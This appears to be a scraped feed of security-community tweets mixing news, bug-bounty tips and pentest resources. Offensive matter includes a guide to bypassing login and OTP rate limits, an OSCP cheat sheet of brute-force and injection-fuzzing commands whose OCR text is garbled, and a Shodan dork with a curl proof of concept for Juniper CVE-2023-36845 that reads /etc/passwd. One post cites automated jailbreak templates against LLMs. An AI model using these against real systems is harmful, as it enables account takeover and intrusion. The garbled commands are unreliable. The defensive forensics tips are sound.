ABG3 @ABG314

Fortinet did it again. Do they hire 2 year olds to code their software? I don’t get it… The gift that keeps on giving. CVE-2024-21762 Workaround : disable SSL VPN 🤦‍♂️ fortiguard.fortinet.com/psirt/FG-IR-24…

JavaScript Analysis for Pentesters | kpwn.de kpwn.de/2023/05/javasc…

We see a lot of threat actors in our Incident Response cases who disable or tamper with the local AV. The website privacy.sexy has a copy & paste script to turn off most of Defenders features. [1] How many of these modifications (or deactivations) will trigger an alert in your environment? @DebugPrivilege has written an excellent article about the various event logs Windows Defenders creates, in which event. [2] Run the commands on a test system, and look for gaps in your monitoring 🤓 [1] privacy.sexy [2] m365internals.com/2021/07/05/why…

THIS is an APT. No "cmd /c net user", just technical capability that's almost indistinguishable from magic

A very good writeup:- medium.com/@bug4y0u/how-i…

Super easy bug for new bug hunters 1. Login to the website and go to the profile/settings page 2. Logout 3. Press the back button of the browser 4. If you landed back on the profile/settings page credit: @dirtycoder0124 #BugBountytips #BugBounty #BugBountytip #infosec

Question of the day🤔: How to bypass rate limit restrictions on authentication endpoints? 🛡️ This is often one of the first checks when assessing a target but is frequently overlooked when there are restrictions. However, I've successfully bypassed over 50+ restrictions in my early days! 💪 Bounties can range anywhere from $250 to $3000, depending on the complexity of the issue. 💰 Have you encountered a login page or a forgot password page with OTP where rate limits have been introduced? 🕵️‍♂️ Here's how you can bypass some of these implementations: 1️⃣ 🕵️‍♀️ Google Captchas implemented? No worries, always try removing the captcha parameter or replace it with null and send the request without the captcha. Sometimes a fallback method allows you to get past the captcha requirement, making it vulnerable to a lack of rate limiting. 2️⃣ 🌐 IP restricted? Check if your IP was blocked and attempt to make a request using a different IP. If that works, you're in luck! You can usually bypass these limitations through IP rotation. Services like Brightproxy or Burp Suite IP rotate extension can assign a new IP address with every request. 3️⃣ 🤖 If nothing works, try appending %0d or %0d before the username (e.g., %[email protected]). This can sometimes trick the server into checking if %[email protected] is locked. If not, while processing the login attempt, it strips the %0d and makes an attempt for [email protected]. It's possible that %[email protected] may be blocked too after 5 attempts. In that case, keep appending an additional %0d after every 5 attempts (e.g., %0d%[email protected] and vice versa). 4️⃣ 🤯 Rate limit properly implemented? Always look for an alternative login or forgot password endpoint. This could be on one of the target's mobile apps or a legacy endpoint in the JS file. 5️⃣ 😓 None of the above methods work? Don't worry, we've got some more explicit tricks, and I'll be talking about them soon! Stay tuned! 🤫 Lesson of the day: Never assume that an endpoint is adequately protected against rate limit issues. Always explore ways to penetrate/bypass the implementation, and you'll be surprised at the results and win some nice bounties! 💎💰 #SecurityTips #BugBounty #HackerOne #BugCrowd #InfoSec #BugBountyTips 🔒🔍🔓🦠🕶️

Free 60 Methods For Cloud Attacks(RTC0009) Original Post: redteamrecipe.com/60-Method-For-… #hacking #redteam #cybersecurity #cloud #cloudattacks #cloudsecurity #cloudpentest #aws #gcp #azure

200+ Hacking / Infosec pdfs Remember, always use this knowledge ethically and legally to make the digital realm safer for all! Check it out here : drive.google.com/drive/u/0/mobi… please follow me🚀🚀 like ❤️❤️❤️ Share this post to spread the word! 👍 #infosec #CyberSecurity #EthicalHacking #FollowMe #infosec #Hacking #infosecurity #Malware #BugBountytips #CTF #BugBounty #vulnerability #pwn #CyberSecurityAwareness #CyberSecurity #CyberSecuritytips @SaveToNotion @threadreaderapp

🚀 Exciting News! 🚀 I've just conquered the Twister machine in my OSCP journey! 🕵️‍♂️💻 👨‍💻 Now, I'm sharing my code and notes to help YOU tackle Twister and ace your OSCP too! 🎯 🔗 Check out ==-Nmap==== nmap -p- -sT -sV -A $IP nmap -p- -sC -sV $IP --0pen nmap -p- --script=vuln $IP ###HTTP-Methods nmap --script http-methods --script-args http-methods. url-path='/webs ite ' ### sed IPs: grep -oE '((1? [0-9] [0-9]? |2[0-4] [0- 9] |25[0-5])\.){3} (1? [0-9] [0-9]? |2 [0-4] [0-9] |25 [0-5] ) ' FILE --Script smb-enum-shares =EE======= =E==EE====E============E== EEE=E==E==: =========: ==zWPScan & SSL wpscan--url $URL --disable-tls-checks - -enumerate p --enumerate t --enumerate u ===WPScan Brute Forceing: wpscan --url $URL --disable-t ls-checks - U users -P /usr/share/wordlists/ rockyou. txt ==Aggressive Plugin Detection: wpscan --url $URL plugins-detection aggressive --enumerate p ======================================== c==Nikto with SSL and Evasion nikto --host $IP -ssl -evasion 1 SEE EVASION MODALITIES. E=================================== ==dns_recon dnsrecon -d yourdomain. com == ===9obuster directory gobuster dir -u $URL -W /opt/SecLists/Dis covery/Web- Content/ raft-medium-directories. txt -k - t 30 ===gobuster files gobuster dir -u $URL -W /opt/SecLists/Dis covery/Web- Content/raft-medium-files. txt -k -t 30 ==00buster for SubDoma in brute forcing: gobuster dns -d doma in.org -w /opt/SecLists/Discovery/DNS/subdomains- toplmillion-110000. txt -t 30 "just make sure any DNS name you find resolves to an in-scope address before you test it! ====E=======: =H==E====E====E===E==== ==Extract IPs from a text file. grep -o '[0-9]\{1, 3\}\. [0-9]\{1,3\}\. [0- 9]\{1,3\}\. [0-9]\{1, 3\}' nmapfile. txt ===Wfuzz XSS Fuzzing===: wfuzz -C -Z file, /opt/SecLists/Fuzzing/XSS,/XSS- BruteLogic. txt "$URL" wfuzz -C -Z file, /opt/SecLists/ Fuzzing/XSS,/XSS- JhaddiX. txt "$URL" ===C0MMAND INJECTION WITH POST DATA wfuzz -C -Z file, /opt/SecLists/Fuzzing/command- injection-commix. txt -d "doi=FUZZ" "$URL" ===Test for Paramter Existence! wfuzz -C -Z file, /opt/SecLists/Dis covery /Web- Content/burp-parameter-names. txt "$URL" ===AUTHENTICATED FUZZING DIRECTORIES: wfuzz -C -Z file, /opt/SecLists/Dis cove ry/Web- Content/ raft-medium-directories . txt --hc 404 -d "SESSIONID=value" "$URL" =AUTHENTICATED FILE FUZZING: wfuzz -C -Z file, /opt/SecLists/Discove ry/Web- Content/ raft-med ium-files . txt --hc 404 - d "SESSIONID=value" "$URL" ===FUZZ Directories : wfuzz -C -Z file, /opt/SecLists/Dis covery/Web- Content/ raft-la rge-d irectories. txt --hc 404 "$URL" ===FUZZ FILES: wfuzz -C -Z file, /opt/SecLists/Dis covery/Web- Content/ raft-la rge-files . txt --hc 404 "$URL" 📚 Learn, practice, and let's achieve OSCP success together! 💪🏆 #OSCP #Cybersecurity #EthicalHacking #TwisterMachine #InfoSec #GitHub #LearnToHack @SaveToNotion @threadreaderapp

keyboard_arrow_left Previous keyboard_arrow_right Next

OSCP 2023 Exam Preparation Guide lnkd.in/dsAUXNph by John J Extra Links: lnkd.in/dCjZGXPq lnkd.in/dfmqy7wd lnkd.in/dfGCpV4Z lnkd.in/dEvfjCxu lnkd.in/d3bv3JKk lnkd.in/eBee79k lnkd.in/e__s4AH lnkd.in/ev4B-ZF lnkd.in/euApgZ8 lnkd.in/eKimv9k lnkd.in/eNXxRUy lnkd.in/eJNZ64U lnkd.in/e_Hw2fK lnkd.in/e6V2VE6 lnkd.in/eUa7m6y lnkd.in/eWhpmU9 lnkd.in/eJCfshN lnkd.in/d_U9SQ9 lnkd.in/dPPtpejv lnkd.in/drKhHYfd lnkd.in/dmvipXdp lnkd.in/dW_29vyQ lnkd.in/dV7SUxbx lnkd.in/dKmvdTNj #OSCP #OSCPPreparation #Hacking #EthicalHacker #PenTest #OffensiveSecurity #Certified #penetrationtesting #AD #activedirectory

We just released Reflective Call Stack Detections and Evasions! This was co-authored by our @XForce Red intern Dylan Tran @d_tranman! Dylan is wicked smart and it was fun working with him! Check it out!🥷 securityintelligence.com/x-force/reflec…

1/2 A threat actor has allegedly leaked data from 23andMe @23andMe. They claim the data has a list of half of the users of 23andMe; 7 million. The data includes a lot of confidential information. #23andMe #DNA #Clearnet #DarkWeb #DarkWebInformer #Database #Leaks #Leaked

🌶️ GPTFUZZER: Red Teaming Large Language Models with Auto-Generated Jailbreak Prompts 🌶️ paper: arxiv.org/abs/2309.10253 "GPTFuzz automates the generation of jailbreak templates for red-teaming LLMs" "results indicate that GPTFuzz consistently produces jailbreak templates with a high success rate, surpassing human-crafted templates" "GPTFuzz achieves over 90% attack success rates against ChatGPT and Llama-2" with @dataisland99 @xingxinyu

Active Directory Cheat Sheet github.com/Integration-IT…

When investigating a suspicious process on Linux, try this: strings /proc//environ For example, a socat command was used to spawn a reverse bindshell backdoor. Environ entry shows SSH connection data and traces to the socat comand. Some versions of netcat do similar. Many attackers do not wipe their process environment and this can leave behind high fidelity forensics to help investigate. Many programs leave really obvious data in the process environment. It's there for the asking on Linux.

keyboard_arrow_left Previous keyboard_arrow_right Next

Juniper J-Web - Remote Code Execution 🔥 - CVE-2023-36845 Nearly 14,000 Juniper devices are affected, as a search on Shodan shows: Dork : title:"Juniper" http.favicon.hash:2141724739 Poc: curl -F $'auto_prepend_file="/etc/passwd\n"' -F 'PHPRC=/dev/fd/0' Here is a vulnerability scanner that has been specially developed to spot this vulnerability or you can also use Nuclei: github.com/vulncheck-oss/… #Infosec #Juniper #ZeroDay #CVE #Hacking

"Fast Guide" - net, dclist, nltest, adfind, kerberoast, seatbelt, net-gpppassword, sharefinder, etc. #ContiLeaks

ShareFinder: How Threat Actors Discover File Shares - The DFIR Report thedfirreport.com/2023/01/23/sha…

Full statement from ALPHV, regarding the attack on MGM Resorts. 🧵 1/2

keyboard_arrow_left Previous keyboard_arrow_right Next